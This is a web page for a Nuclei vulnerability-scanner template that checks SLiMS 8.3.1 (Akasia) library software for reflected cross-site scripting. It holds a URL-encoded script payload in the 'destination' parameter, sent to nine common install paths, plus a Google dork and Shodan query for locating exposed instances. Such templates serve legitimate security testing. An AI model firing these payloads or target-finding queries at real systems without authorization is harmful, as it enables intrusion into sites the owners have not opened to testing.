Skip to content

Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting

ID: slims-8-akasia-xss

Severity: medium

Author: nblirwn

Tags: senayan,xss,slims

SLiMS 8.3.1 (Akasia) has a destination parameter that is vulnerable to reflected XSS. However, ensure that the p parameter points to the ‘member’. Additional google dork ‘intext:“SLiMS 8.3.1 (Akasia)”’.

id: slims-8-akasia-xss
info:
name: Senayan Library Management System v8.3.1 (Akasia) - Cross-Site Scripting
author: nblirwn
severity: medium
description: |
SLiMS 8.3.1 (Akasia) has a `destination` parameter that is vulnerable to reflected XSS. However, ensure that the `p` parameter points to the 'member'. Additional google dork 'intext:"SLiMS 8.3.1 (Akasia)"'.
reference:
- https://github.com/slims/slims8_akasia/issues/184
metadata:
verified: true
max-request: 1
vendor: slims
product: senayan_library_management_system
shodan-query: html:"SLIMS"
tags: senayan,xss,slims
http:
- method: GET
path:
- "{{BaseURL}}/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/perpustakaan/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/slims/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/perpustakaan/slims/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/e-library/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/perpus/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/digilib/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/akasia/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
- "{{BaseURL}}/library/index.php?destination=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&p=member"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '<script>alert(document.domain)</script>'
- 'SLiMS'
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100ccf459390d15c39509fb128d27f454fb26002cdc9465238e10b78ec7459f4a3a022100835964fbf6c836dd6b4b329668e1230a928db0cf6007706c7b91235245a25f5d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/slims-8-akasia-xss.yaml"

View on Github